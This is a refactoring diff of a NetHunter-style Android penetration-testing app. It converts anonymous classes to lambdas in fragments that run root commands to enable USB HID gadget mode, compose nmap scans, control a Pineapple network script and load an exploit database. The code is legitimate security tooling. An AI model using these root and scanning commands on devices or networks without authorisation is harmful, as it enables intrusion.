else { done = "Invalid IP!"; } - getActivity().runOnUiThread(new Runnable() { - public void run() { - ip.setText(done); - } - }); + getActivity().runOnUiThread(() -> ip.setText(done)); } }).start(); // CHECK FOR ROOT ACCESS @@ -138,30 +125,22 @@ public void run() { } private void setHIDON() { - new Thread(new Runnable(){ - - public void run(){ - try { - Process p = Runtime.getRuntime().exec("su -c getprop sys.usb.config > /data/local/usb.config.tmp && su -c setprop sys.usb.config `cat /data/local/usb.config.tmp`,hid"); - } catch (IOException e) { - e.printStackTrace(); - } + new Thread(() -> { + try { + Process p = Runtime.getRuntime().exec("su -c getprop sys.usb.config > /data/local/usb.config.tmp && su -c setprop sys.usb.config `cat /data/local/usb.config.tmp`,hid"); + } catch (IOException e) { + e.printStackTrace(); } - }).start(); } private void setHIDOff() { - new Thread(new Runnable(){ - - public void run(){ - try { - Process p = Runtime.getRuntime().exec("su -c setprop sys.usb.config `cat /data/local/usb.config.tmp` && su -c rm /data/local/usb.config.tmp"); - } catch (IOException e) { - e.printStackTrace(); - } + new Thread(() -> { + try { + Process p = Runtime.getRuntime().exec("su -c setprop sys.usb.config `cat /data/local/usb.config.tmp` && su -c rm /data/local/usb.config.tmp"); + } catch (IOException e) { + e.printStackTrace(); } - }).start(); } @@ -174,20 +153,20 @@ private void getInterfaces(final View rootView) { // 1 thread, 2 commands - final TextView netIfaces = (TextView) rootView.findViewById(R.id.editTextNET); // NET IFACES - final ListView netList = (ListView) rootView.findViewById(R.id.listViewNet); + final TextView netIfaces = rootView.findViewById(R.id.editTextNET); // NET IFACES + final ListView netList = rootView.findViewById(R.id.listViewNet); - final TextView hidIfaces = (TextView) rootView.findViewById(R.id.editTextHID); // HID IFACES - final ListView hidList = (ListView) rootView.findViewById(R.id.listViewHid); + final TextView hidIfaces = rootView.findViewById(R.id.editTextHID); // HID IFACES + final ListView hidList = rootView.findViewById(R.id.listViewHid); - final TextView busyboxIfaces = (TextView) rootView.findViewById(R.id.editTextBUSYBOX); // BUSYBOX IFACES - final ListView busyboxList = (ListView) rootView.findViewById(R.id.listViewBusybox); + final TextView busyboxIfaces = rootView.findViewById(R.id.editTextBUSYBOX); // BUSYBOX IFACES + final ListView busyboxList = rootView.findViewById(R.id.listViewBusybox); - final TextView kernelverIfaces = (TextView) rootView.findViewById(R.id.editTextKERNELVER); // BUSYBOX IFACES - final ListView kernelverList = (ListView) rootView.findViewById(R.id.listViewKERNELVER); + final TextView kernelverIfaces = rootView.findViewById(R.id.editTextKERNELVER); // BUSYBOX IFACES + final ListView kernelverList = rootView.findViewById(R.id.listViewKERNELVER); - final TextView terminalIfaces = (TextView) rootView.findViewById(R.id.editTextNHTerminal); // BUSYBOX IFACES - final ListView terminalList = (ListView) rootView.findViewById(R.id.listViewNHTerminal); + final TextView terminalIfaces = rootView.findViewById(R.id.editTextNHTerminal); // BUSYBOX IFACES + final ListView terminalList = rootView.findViewById(R.id.listViewNHTerminal); // Dont move this inside the thread. (Will throw a null pointer.) netIfaces.setText("Detecting Network interfaces..."); @@ -196,131 +175,117 @@ private void getInterfaces(final View rootView) { kernelverIfaces.setText("Detecting Kernel version..."); terminalIfaces.setText("Detecting Nethunter terminal..."); - new Thread(new Runnable() { - public void run() { + new Thread(() -> { - String busybox_ver = nh.whichBusybox(); - - ShellExecuter exe = new ShellExecuter(); - String commandNET[] = {"sh", "-c", "ip -o addr show | busybox awk '/inet/ {print $2, $3, $4}'"}; - String commandHID[] = {"sh", "-c", "ls /dev/hidg*"}; - String commandBUSYBOX[] = {"sh", "-c", busybox_ver + " | " + busybox_ver + " head -1 | " + busybox_ver + " awk '{print $2}'"}; - String commandKERNELVER[] = {"sh", "-c", "cat /proc/version"}; - - final String outputNET = exe.Executer(commandNET); - final String outputHID = exe.Executer(commandHID); - final String outputBUSYBOX = exe.Executer(commandBUSYBOX); - final String outputKERNELVER = exe.Executer(commandKERNELVER); - - final String[] netArray = outputNET.split("\n"); - final String[] hidArray = outputHID.split("\n"); - final String[] busyboxArray = outputBUSYBOX.split("\n"); - final String[] kernelverArray = outputKERNELVER.split("\n"); - - netIfaces.post(new Runnable() { - @Override - public void run() { - if (outputNET.equals("")) { - netIfaces.setVisibility(View.VISIBLE); - netList.setVisibility(View.GONE); - netIfaces.setText("No network interfaces detected"); - netIfaces.setFocusable(false); - } else { - netIfaces.setVisibility(View.GONE); - netList.setVisibility(View.VISIBLE); - ArrayAdapter aaNET = new ArrayAdapter<>(getContext(), R.layout.nethunter_item, netArray); - netList.setAdapter(aaNET); - fixListHeight(netList, aaNET); - netList.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() { - @Override - public boolean onItemLongClick(AdapterView parent, View view, int position, long id) { - Log.d("CLICKED", netList.getItemAtPosition(position).toString()); - String itemData = netList.getItemAtPosition(position).toString(); - String _itemData = itemData.split("\\s+")[2]; - doCopy(_itemData); - return false; - } - }); - } - if (outputHID.equals("")) { - hidIfaces.setVisibility(View.VISIBLE); - hidList.setVisibility(View.GONE); - hidIfaces.setText("No HID interfaces detected"); - hidIfaces.setFocusable(false); - } else { - hidIfaces.setVisibility(View.GONE); - hidList.setVisibility(View.VISIBLE); - ArrayAdapter aaHID = new ArrayAdapter<>(getContext(), R.layout.nethunter_item, hidArray); - hidList.setAdapter(aaHID); - fixListHeight(hidList, aaHID); - hidList.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() { - @Override - public boolean onItemLongClick(AdapterView parent, View view, int position, long id) { - Log.d("CLCIKED", hidList.getItemAtPosition(position).toString()); - String itemData = hidList.getItemAtPosition(position).toString(); - doCopy(itemData); - return false; - } - }); - } - if (outputBUSYBOX.equals("")) { - busyboxIfaces.setVisibility(View.VISIBLE); - busyboxList.setVisibility(View.GONE); - busyboxIfaces.setText("Busybox not detected!"); - busyboxIfaces.setFocusable(false); - } else { - busyboxIfaces.setVisibility(View.GONE); - busyboxList.setVisibility(View.VISIBLE); - ArrayAdapter aaBUSYBOX = new ArrayAdapter<>(getContext(), R.layout.nethunter_item, busyboxArray); - busyboxList.setAdapter(aaBUSYBOX); - fixListHeight(busyboxList, aaBUSYBOX); - busyboxList.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() { - @Override - public boolean onItemLongClick(AdapterView parent, View view, int position, long id) { - Log.d("CLICKED", busyboxList.getItemAtPosition(position).toString()); - String itemData = busyboxList.getItemAtPosition(position).toString(); - doCopy(itemData); - return false; - } - }); - } - if (!installed) { - // Installed, make note! - terminalIfaces.setVisibility(View.VISIBLE); - terminalList.setVisibility(View.GONE); - terminalIfaces.setText("Nethunter Terminal is NOT installed!"); - terminalIfaces.setFocusable(false); - } else { - // Not installed, make note! - terminalIfaces.setVisibility(View.VISIBLE); - terminalList.setVisibility(View.GONE); - terminalIfaces.setText("Nethunter Terminal is installed"); - terminalIfaces.setFocusable(false); - } + String busybox_ver = nh.whichBusybox(); + + ShellExecuter exe = new ShellExecuter(); + String commandNET[] = {"sh", "-c", "ip -o addr show | busybox awk '/inet/ {print $2, $3, $4}'"}; + String commandHID[] = {"sh", "-c", "ls /dev/hidg*"}; + String commandBUSYBOX[] = {"sh", "-c", busybox_ver + " | " + busybox_ver + " head -1 | " + busybox_ver + " awk '{print $2}'"}; + String commandKERNELVER[] = {"sh", "-c", "cat /proc/version"}; + + final String outputNET = exe.Executer(commandNET); + final String outputHID = exe.Executer(commandHID); + final String outputBUSYBOX = exe.Executer(commandBUSYBOX); + final String outputKERNELVER = exe.Executer(commandKERNELVER); - if (outputKERNELVER.equals("")) { - kernelverIfaces.setVisibility(View.VISIBLE); - kernelverList.setVisibility(View.GONE); - kernelverIfaces.setText("Could not find kernel version!"); - kernelverIfaces.setFocusable(false); - } else { - kernelverIfaces.setVisibility(View.GONE); - kernelverList.setVisibility(View.VISIBLE); - ArrayAdapter aaKERNELVER = new ArrayAdapter<>(getContext(), R.layout.nethunter_item, kernelverArray); - kernelverList.setAdapter(aaKERNELVER); - kernelverList.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() { - @Override - public boolean onItemLongClick(AdapterView parent, View view, int position, long id) { - Log.d("CLICKED", kernelverList.getItemAtPosition(position).toString()); - String itemData = kernelverList.getItemAtPosition(position).toString(); - doCopy(itemData); - return false; - } - }); + final String[] netArray = outputNET.split("\n"); + final String[] hidArray = outputHID.split("\n"); + final String[] busyboxArray = outputBUSYBOX.split("\n"); + final String[] kernelverArray = outputKERNELVER.split("\n"); + + netIfaces.post(() -> { + if (outputNET.equals("")) { + netIfaces.setVisibility(View.VISIBLE); + netList.setVisibility(View.GONE); + netIfaces.setText("No network interfaces detected"); + netIfaces.setFocusable(false); + } else { + netIfaces.setVisibility(View.GONE); + netList.setVisibility(View.VISIBLE); + ArrayAdapter aaNET = new ArrayAdapter<>(getContext(), R.layout.nethunter_item, netArray); + netList.setAdapter(aaNET); + fixListHeight(netList, aaNET); + netList.setOnItemLongClickListener((parent, view, position, id) -> { + Log.d("CLICKED", netList.getItemAtPosition(position).toString()); + String itemData = netList.getItemAtPosition(position).toString(); + String _itemData = itemData.split("\\s+")[2]; + doCopy(_itemData); + return false; + }); + } + if (outputHID.equals("")) { + hidIfaces.setVisibility(View.VISIBLE); + hidList.setVisibility(View.GONE); + hidIfaces.setText("No HID interfaces detected"); + hidIfaces.setFocusable(false); + } else { + hidIfaces.setVisibility(View.GONE); + hidList.setVisibility(View.VISIBLE); + ArrayAdapter aaHID = new ArrayAdapter<>(getContext(), R.layout.nethunter_item, hidArray); + hidList.setAdapter(aaHID); + fixListHeight(hidList, aaHID); + hidList.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() { + @Override + public boolean onItemLongClick(AdapterView parent, View view, int position, long id) { + Log.d("CLCIKED", hidList.getItemAtPosition(position).toString()); + String itemData = hidList.getItemAtPosition(position).toString(); + doCopy(itemData); + return false; } - } - }); - } + }); + } + if (outputBUSYBOX.equals("")) { + busyboxIfaces.setVisibility(View.VISIBLE); + busyboxList.setVisibility(View.GONE); + busyboxIfaces.setText("Busybox not detected!"); + busyboxIfaces.setFocusable(false); + } else { + busyboxIfaces.setVisibility(View.GONE); + busyboxList.setVisibility(View.VISIBLE); + ArrayAdapter aaBUSYBOX = new ArrayAdapter<>(getContext(), R.layout.nethunter_item, busyboxArray); + busyboxList.setAdapter(aaBUSYBOX); + fixListHeight(busyboxList, aaBUSYBOX); + busyboxList.setOnItemLongClickListener((parent, view, position, id) -> { + Log.d("CLICKED", busyboxList.getItemAtPosition(position).toString()); + String itemData = busyboxList.getItemAtPosition(position).toString(); + doCopy(itemData); + return false; + }); + } + if (!installed) { + // Installed, make note! + terminalIfaces.setVisibility(View.VISIBLE); + terminalList.setVisibility(View.GONE); + terminalIfaces.setText("Nethunter Terminal is NOT installed!"); + terminalIfaces.setFocusable(false); + } else { + // Not installed, make note! + terminalIfaces.setVisibility(View.VISIBLE); + terminalList.setVisibility(View.GONE); + terminalIfaces.setText("Nethunter Terminal is installed"); + terminalIfaces.setFocusable(false); + } + + if (outputKERNELVER.equals("")) { + kernelverIfaces.setVisibility(View.VISIBLE); + kernelverList.setVisibility(View.GONE); + kernelverIfaces.setText("Could not find kernel version!"); + kernelverIfaces.setFocusable(false); + } else { + kernelverIfaces.setVisibility(View.GONE); + kernelverList.setVisibility(View.VISIBLE); + ArrayAdapter aaKERNELVER = new ArrayAdapter<>(getContext(), R.layout.nethunter_item, kernelverArray); + kernelverList.setAdapter(aaKERNELVER); + kernelverList.setOnItemLongClickListener((parent, view, position, id) -> { + Log.d("CLICKED", kernelverList.getItemAtPosition(position).toString()); + String itemData = kernelverList.getItemAtPosition(position).toString(); + doCopy(itemData); + return false; + }); + } + }); }).start(); } diff --git a/src/com/offsec/nethunter/NmapFragment.java b/src/com/offsec/nethunter/NmapFragment.java index 8977eca..63780c8 100644 --- a/src/com/offsec/nethunter/NmapFragment.java +++ b/src/com/offsec/nethunter/NmapFragment.java @@ -4,7 +4,6 @@ import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; -import androidx.fragment.app.Fragment; import android.text.Editable; import android.text.TextWatcher; import android.util.Log; @@ -15,7 +14,6 @@ import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.CheckBox; -import android.widget.CompoundButton; import android.widget.EditText; import android.widget.LinearLayout; import android.widget.Spinner; @@ -26,6 +24,8 @@ import java.util.ArrayList; +import androidx.fragment.app.Fragment; + public class NmapFragment extends Fragment { private static final String TAG = "NMAPFragment"; @@ -69,38 +69,32 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa final View rootView = inflater.inflate(R.layout.nmap, container, false); // Default advanced options as invisible - final LinearLayout AdvLayout = (LinearLayout) rootView.findViewById(R.id.nmap_adv_layout); + final LinearLayout AdvLayout = rootView.findViewById(R.id.nmap_adv_layout); AdvLayout.setVisibility(View.GONE); SharedPreferences sharedpreferences = getActivity().getSharedPreferences("com.offsec.nethunter", Context.MODE_PRIVATE); Context mContext = getActivity().getApplicationContext(); // Switch to activate open/close of advanced options - Switch advswitch = (Switch) rootView.findViewById(R.id.nmap_adv_switch); + Switch advswitch = rootView.findViewById(R.id.nmap_adv_switch); advswitch.setChecked(false); - advswitch.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { - public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { - if (isChecked) { - Log.d(TAG, "Advanced Options Open"); - AdvLayout.setVisibility(View.VISIBLE); - } else { - Log.d(TAG, "Advanced Options Closed"); - AdvLayout.setVisibility(View.GONE); - } + advswitch.setOnCheckedChangeListener((buttonView, isChecked) -> { + if (isChecked) { + Log.d(TAG, "Advanced Options Open"); + AdvLayout.setVisibility(View.VISIBLE); + } else { + Log.d(TAG, "Advanced Options Closed"); + AdvLayout.setVisibility(View.GONE); } }); - final Button searchButton = (Button) rootView.findViewById(R.id.nmap_scan_button); + final Button searchButton = rootView.findViewById(R.id.nmap_scan_button); searchButton.setOnClickListener( - new View.OnClickListener() { - public void onClick(View view) { - getCmd(); - } - }); + view -> getCmd()); // NMAP Interface Spinner - Spinner typeSpinner = (Spinner) rootView.findViewById(R.id.nmap_int_spinner); + Spinner typeSpinner = rootView.findViewById(R.id.nmap_int_spinner); ArrayAdapter typeAdapter = ArrayAdapter.createFromResource(getActivity(), R.array.nmap_interface_array, android.R.layout.simple_spinner_item); typeAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); @@ -144,7 +138,7 @@ public void onNothingSelected(AdapterView parent) { }); // NMAP Technique Spinner - Spinner techSpinner = (Spinner) rootView.findViewById(R.id.nmap_scan_tech_spinner); + Spinner techSpinner = rootView.findViewById(R.id.nmap_scan_tech_spinner); ArrayAdapter techAdapter = ArrayAdapter.createFromResource(getActivity(), R.array.nmap_scantechnique_array, android.R.layout.simple_spinner_item); typeAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); @@ -207,15 +201,11 @@ public void onNothingSelected(AdapterView parent) { }); // Search button - addClickListener(new View.OnClickListener() { - public void onClick(View v) { - intentClickListener_NH("nmap " + getCmd()); - } - }, rootView); + addClickListener(v -> intentClickListener_NH("nmap " + getCmd()), rootView); // NMAP Timing Spinner - Spinner timeSpinner = (Spinner) rootView.findViewById(R.id.nmap_timing_spinner); + Spinner timeSpinner = rootView.findViewById(R.id.nmap_timing_spinner); ArrayAdapter timeAdapter = ArrayAdapter.createFromResource(getActivity(), R.array.nmap_timing_array, android.R.layout.simple_spinner_item); timeAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); @@ -267,122 +257,105 @@ public void onNothingSelected(AdapterView parent) { } }); - final CheckBox allCheckbox = (CheckBox) rootView.findViewById(R.id.nmap_all_check); - allCheckbox.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { - @Override - public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { - if (buttonView.isChecked()) { - searchall = " -A"; - addToCmd(searchall); - Log.d(TAG, searchall); - } else { - removeFromCmd(searchall); - Log.d(TAG, searchall); - } - + final CheckBox allCheckbox = rootView.findViewById(R.id.nmap_all_check); + allCheckbox.setOnCheckedChangeListener((buttonView, isChecked) -> { + if (buttonView.isChecked()) { + searchall = " -A"; + addToCmd(searchall); + Log.d(TAG, searchall); + } else { + removeFromCmd(searchall); + Log.d(TAG, searchall); } + }); // Checkbox for Fastmode - final CheckBox fastmodeCheckbox = (CheckBox) rootView.findViewById(R.id.nmap_fastmode_check); - View.OnClickListener checkBoxListener = new View.OnClickListener() { - public void onClick(View v) { - if (fastmodeCheckbox.isChecked()) { - fastmode = " -F"; - addToCmd(fastmode); - } else { - removeFromCmd(fastmode); - } + final CheckBox fastmodeCheckbox = rootView.findViewById(R.id.nmap_fastmode_check); + View.OnClickListener checkBoxListener = v -> { + if (fastmodeCheckbox.isChecked()) { + fastmode = " -F"; + addToCmd(fastmode); + } else { + removeFromCmd(fastmode); } }; fastmodeCheckbox.setOnClickListener(checkBoxListener); // Checkbox for Ping Scan only - final CheckBox pingCheckbox = (CheckBox) rootView.findViewById(R.id.nmap_ping_check); - checkBoxListener = new View.OnClickListener() { - public void onClick(View v) { - if (pingCheckbox.isChecked()) { - fastmode = " -sn"; - addToCmd(fastmode); - } else { - removeFromCmd(fastmode); - } + final CheckBox pingCheckbox = rootView.findViewById(R.id.nmap_ping_check); + checkBoxListener = v -> { + if (pingCheckbox.isChecked()) { + fastmode = " -sn"; + addToCmd(fastmode); + } else { + removeFromCmd(fastmode); } }; pingCheckbox.setOnClickListener(checkBoxListener); // Checkbox for Top Ports - final CheckBox topportsCheckbox = (CheckBox) rootView.findViewById(R.id.nmap_top_ports_check); - checkBoxListener = new View.OnClickListener() { - public void onClick(View v) { - if (topportsCheckbox.isChecked()) { - topports = " --top-ports 20"; - addToCmd(topports); - } else { - removeFromCmd(topports); - } + final CheckBox topportsCheckbox = rootView.findViewById(R.id.nmap_top_ports_check); + checkBoxListener = v -> { + if (topportsCheckbox.isChecked()) { + topports = " --top-ports 20"; + addToCmd(topports); + } else { + removeFromCmd(topports); } }; topportsCheckbox.setOnClickListener(checkBoxListener); // Checkbox for UDP Scan - final CheckBox udpCheckbox = (CheckBox) rootView.findViewById(R.id.nmap_udp_checkbox); - checkBoxListener = new View.OnClickListener() { - public void onClick(View v) { - if (udpCheckbox.isChecked()) { - udpscan = " -sU"; - addToCmd(udpscan); - } else { - removeFromCmd(udpscan); - } + final CheckBox udpCheckbox = rootView.findViewById(R.id.nmap_udp_checkbox); + checkBoxListener = v -> { + if (udpCheckbox.isChecked()) { + udpscan = " -sU"; + addToCmd(udpscan); + } else { + removeFromCmd(udpscan); } }; allCheckbox.setOnClickListener(checkBoxListener); // Checkbox for IPv6 - final CheckBox ipv6box = (CheckBox) rootView.findViewById(R.id.nmap_ipv6_check); - checkBoxListener = new View.OnClickListener() { - public void onClick(View v) { - if (ipv6box.isChecked()) { - ipv6check = " -6"; - addToCmd(ipv6check); - } else { - removeFromCmd(ipv6check); - } + final CheckBox ipv6box = rootView.findViewById(R.id.nmap_ipv6_check); + checkBoxListener = v -> { + if (ipv6box.isChecked()) { + ipv6check = " -6"; + addToCmd(ipv6check); + } else { + removeFromCmd(ipv6check); } }; ipv6box.setOnClickListener(checkBoxListener); // Checkbox for Service Version - final CheckBox svbox = (CheckBox) rootView.findViewById(R.id.nmap_SV_checkbox); - checkBoxListener = new View.OnClickListener() { - public void onClick(View v) { - if (svbox.isChecked()) { - sv = " -sV"; - addToCmd(sv); - } else { - removeFromCmd(sv); - } + final CheckBox svbox = rootView.findViewById(R.id.nmap_SV_checkbox); + checkBoxListener = v -> { + if (svbox.isChecked()) { + sv = " -sV"; + addToCmd(sv); + } else { + removeFromCmd(sv); } }; svbox.setOnClickListener(checkBoxListener); // Checkbox for OS Detect - final CheckBox osdetectbox = (CheckBox) rootView.findViewById(R.id.nmap_osonly_check); - checkBoxListener = new View.OnClickListener() { - public void onClick(View v) { - if (osdetectbox.isChecked()) { - OSdetect = " -O"; - addToCmd(OSdetect); - } else { - removeFromCmd(OSdetect); - } + final CheckBox osdetectbox = rootView.findViewById(R.id.nmap_osonly_check); + checkBoxListener = v -> { + if (osdetectbox.isChecked()) { + OSdetect = " -O"; + addToCmd(OSdetect); + } else { + removeFromCmd(OSdetect); } }; osdetectbox.setOnClickListener(checkBoxListener); - searchBar = (EditText) rootView.findViewById(R.id.nmap_searchbar); + searchBar = rootView.findViewById(R.id.nmap_searchbar); searchBar.addTextChangedListener(new TextWatcher() { @Override @@ -402,7 +375,7 @@ public void afterTextChanged(Editable s) { }); // Ports text field - portsBar = (EditText) rootView.findViewById(R.id.nmap_ports); + portsBar = rootView.findViewById(R.id.nmap_ports); portsBar.addTextChangedListener(new TextWatcher() { @Override @@ -436,8 +409,8 @@ private String getCmd() { } private static void cleanCmd() { - for (int j = CommandComposed.size() - 1; j >= 0; j--) { - CommandComposed.remove(j); + if (CommandComposed.size() > 0) { + CommandComposed.subList(0, CommandComposed.size()).clear(); } } diff --git a/src/com/offsec/nethunter/PineappleFragment.java b/src/com/offsec/nethunter/PineappleFragment.java index 7772fc4..352d031 100644 --- a/src/com/offsec/nethunter/PineappleFragment.java +++ b/src/com/offsec/nethunter/PineappleFragment.java @@ -3,7 +3,6 @@ import android.content.Context; import android.content.SharedPreferences; import android.os.Bundle; -import androidx.fragment.app.Fragment; import android.util.Log; import android.view.LayoutInflater; import android.view.View; @@ -14,6 +13,8 @@ import com.offsec.nethunter.utils.NhPaths; import com.offsec.nethunter.utils.ShellExecuter; +import androidx.fragment.app.Fragment; + public class PineappleFragment extends Fragment { private static final String TAG = "PineappleFragment"; @@ -46,59 +47,47 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa Log.d(TAG, nh.APP_SCRIPTS_PATH); // Checkbox for No Upstream - final CheckBox noupCheckbox = (CheckBox) rootView.findViewById(R.id.pineapple_noup); - View.OnClickListener checkBoxListener = new View.OnClickListener() { - public void onClick(View v) { - if (noupCheckbox.isChecked()) { - start_type = "start_noup "; - } else { - start_type = "start "; - } + final CheckBox noupCheckbox = rootView.findViewById(R.id.pineapple_noup); + View.OnClickListener checkBoxListener = v -> { + if (noupCheckbox.isChecked()) { + start_type = "start_noup "; + } else { + start_type = "start "; } }; noupCheckbox.setOnClickListener(checkBoxListener); // Checkbox for Transparent Proxy - final CheckBox transCheckbox = (CheckBox) rootView.findViewById(R.id.pineapple_transproxy); - checkBoxListener = new View.OnClickListener() { - public void onClick(View v) { - if (noupCheckbox.isChecked()) { - proxy_type = " start_proxy "; - } else { - proxy_type = ""; - } + final CheckBox transCheckbox = rootView.findViewById(R.id.pineapple_transproxy); + checkBoxListener = v -> { + if (noupCheckbox.isChecked()) { + proxy_type = " start_proxy "; + } else { + proxy_type = ""; } }; transCheckbox.setOnClickListener(checkBoxListener); // Start Button - addClickListener(R.id.pineapple_start_button, new View.OnClickListener() { - public void onClick(View v) { - new Thread(new Runnable() { - public void run() { - ShellExecuter exe = new ShellExecuter(); - String command = "su -c '" + nh.APP_SCRIPTS_PATH + "/pine-nano " + start_type + startConnection(rootView) + proxy_type + "'"; - Log.d(TAG, command); - exe.RunAsRootOutput(command); - } - }).start(); - nh.showMessage("Starting eth0 connection"); - } + addClickListener(R.id.pineapple_start_button, v -> { + new Thread(() -> { + ShellExecuter exe = new ShellExecuter(); + String command = "su -c '" + nh.APP_SCRIPTS_PATH + "/pine-nano " + start_type + startConnection(rootView) + proxy_type + "'"; + Log.d(TAG, command); + exe.RunAsRootOutput(command); + }).start(); + nh.showMessage("Starting eth0 connection"); }, rootView); // Stop|Close Button - addClickListener(R.id.pineapple_close_button, new View.OnClickListener() { - public void onClick(View v) { - new Thread(new Runnable() { - public void run() { - ShellExecuter exe = new ShellExecuter(); - String command = "su -c '" + nh.APP_SCRIPTS_PATH + "/pine-nano stop'"; - Log.d(TAG, command); - exe.RunAsRootOutput(command); - } - }).start(); - nh.showMessage("Bringing down eth0 conneciton"); - } + addClickListener(R.id.pineapple_close_button, v -> { + new Thread(() -> { + ShellExecuter exe = new ShellExecuter(); + String command = "su -c '" + nh.APP_SCRIPTS_PATH + "/pine-nano stop'"; + Log.d(TAG, command); + exe.RunAsRootOutput(command); + }).start(); + nh.showMessage("Bringing down eth0 conneciton"); }, rootView); return rootView; @@ -106,16 +95,16 @@ public void run() { private String startConnection(View rootView) { // Port Text Field - EditText port = (EditText) rootView.findViewById(R.id.pineapple_webport); + EditText port = rootView.findViewById(R.id.pineapple_webport); // Gateway IP Text Field - EditText gateway_ip = (EditText) rootView.findViewById(R.id.pineapple_gatewayip); + EditText gateway_ip = rootView.findViewById(R.id.pineapple_gatewayip); // Client IP Text Field - EditText web_ip = (EditText) rootView.findViewById(R.id.pineapple_clientip); + EditText web_ip = rootView.findViewById(R.id.pineapple_clientip); // CIDR Text Field - EditText CIDR = (EditText) rootView.findViewById(R.id.pineapple_cidr); + EditText CIDR = rootView.findViewById(R.id.pineapple_cidr); // Pineapple CIDR Text Field return web_ip.getText() + " " + CIDR.getText() + " " + gateway_ip.getText() + " " + port.getText(); diff --git a/src/com/offsec/nethunter/SearchSploitFragment.java b/src/com/offsec/nethunter/SearchSploitFragment.java index 11bf42d..9ae3ccf 100644 --- a/src/com/offsec/nethunter/SearchSploitFragment.java +++ b/src/com/offsec/nethunter/SearchSploitFragment.java @@ -2,7 +2,6 @@ import android.app.ProgressDialog; import android.content.Context; -import android.content.DialogInterface; import android.content.Intent; import android.net.Uri; import android.os.Bundle; @@ -19,6 +18,7 @@ import android.widget.BaseAdapter; import android.widget.Button; import android.widget.ListView; +import android.widget.SearchView; import android.widget.Spinner; import android.widget.TextView; import android.widget.Toast; @@ -33,10 +33,10 @@ import java.util.List; import androidx.appcompat.app.AlertDialog; -//import androidx.appcompat.widget.SearchView; -import android.widget.SearchView; import androidx.fragment.app.Fragment; +//import androidx.appcompat.widget.SearchView; + public class SearchSploitFragment extends Fragment { @@ -85,8 +85,8 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa adi.setCancelable(false); adi.show(); // Search Bar - numex = (TextView) rootView.findViewById(R.id.numex); - final SearchView searchStr = (SearchView) rootView.findViewById(R.id.searchSploit_searchbar); + numex = rootView.findViewById(R.id.numex); + final SearchView searchStr = rootView.findViewById(R.id.searchSploit_searchbar); searchStr.setOnQueryTextListener(new SearchView.OnQueryTextListener() { @Override public boolean onQueryTextSubmit(String query) { @@ -110,68 +110,56 @@ public boolean onQueryTextChange(String query) { } }); // Load/reload database button - final Button searchSearchSploit = (Button) rootView.findViewById(R.id.serchsploit_loadDB); + final Button searchSearchSploit = rootView.findViewById(R.id.serchsploit_loadDB); searchSearchSploit.setVisibility(View.GONE); - searchSearchSploit.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - final ProgressDialog pd = new ProgressDialog(getActivity()); - pd.setTitle("Feeding Exploit DB"); - pd.setMessage("This can take a minute, wait..."); - pd.setCancelable(false); - pd.show(); - new Thread(new Runnable() { - public void run() { - final Boolean isFeeded = database.doDbFeed(); - searchSearchSploit.post(new Runnable() { - @Override - public void run() { - if (isFeeded) { - Toast.makeText(getActivity(), - "DB FEED DONE", - Toast.LENGTH_LONG).show(); - try { - // Search List - String sd = nh.SD_PATH; - String data = nh.APP_PATH; - String DATABASE_NAME = "SearchSploit"; - String currentDBPath = "../databases/" + DATABASE_NAME; - String backupDBPath = "/nh_files/" + DATABASE_NAME; // From SD directory. - - File backupDB = new File(data, currentDBPath); - File currentDB = new File(sd, backupDBPath); - - FileChannel src = new FileInputStream(currentDB).getChannel(); - FileChannel dst = new FileOutputStream(backupDB).getChannel(); - dst.transferFrom(src, 0, src.size()); - - src.close(); - dst.close(); - Log.d("importDB", "Successfuly imported " + DATABASE_NAME); - main(rootView); - pd.dismiss(); - } catch (Exception e) { - Log.d("importDB", e.toString()); - } - // main(rootView); - } else { - Toast.makeText(getActivity(), - "Unable to find Searchsploit files.csv database. Install exploitdb in chroot", - Toast.LENGTH_LONG).show(); - } - } - }); + searchSearchSploit.setOnClickListener(v -> { + final ProgressDialog pd = new ProgressDialog(getActivity()); + pd.setTitle("Feeding Exploit DB"); + pd.setMessage("This can take a minute, wait..."); + pd.setCancelable(false); + pd.show(); + new Thread(() -> { + final Boolean isFeeded = database.doDbFeed(); + searchSearchSploit.post(() -> { + if (isFeeded) { + Toast.makeText(getActivity(), + "DB FEED DONE", + Toast.LENGTH_LONG).show(); + try { + // Search List + String sd = nh.SD_PATH; + String data = nh.APP_PATH; + String DATABASE_NAME = "SearchSploit"; + String currentDBPath = "../databases/" + DATABASE_NAME; + String backupDBPath = "/nh_files/" + DATABASE_NAME; // From SD directory. + + File backupDB = new File(data, currentDBPath); + File currentDB = new File(sd, backupDBPath); + + FileChannel src = new FileInputStream(currentDB).getChannel(); + FileChannel dst = new FileOutputStream(backupDB).getChannel(); + dst.transferFrom(src, 0, src.size()); + + src.close(); + dst.close(); + Log.d("importDB", "Successfuly imported " + DATABASE_NAME); + main(rootView); + pd.dismiss(); + } catch (Exception e) { + Log.d("importDB", e.toString()); + } + // main(rootView); + } else { + Toast.makeText(getActivity(), + "Unable to find Searchsploit files.csv database. Install exploitdb in chroot", + Toast.LENGTH_LONG).show(); } - }).start(); - } + }); + }).start(); }); //prevents menu stuck new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - main(rootView); - } - }, 250); + () -> main(rootView), 250); return rootView; @@ -198,19 +186,13 @@ public boolean onOptionsItemSelected(final MenuItem item) { builder.setTitle("Raw search warning"); builder.setMessage("The exploit db is pretty big (+30K exploits), activating raw search will make the search slow.\nIs useful to do global searches when you don't find a exploit.") - .setNegativeButton("Cancel", new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int id) { - 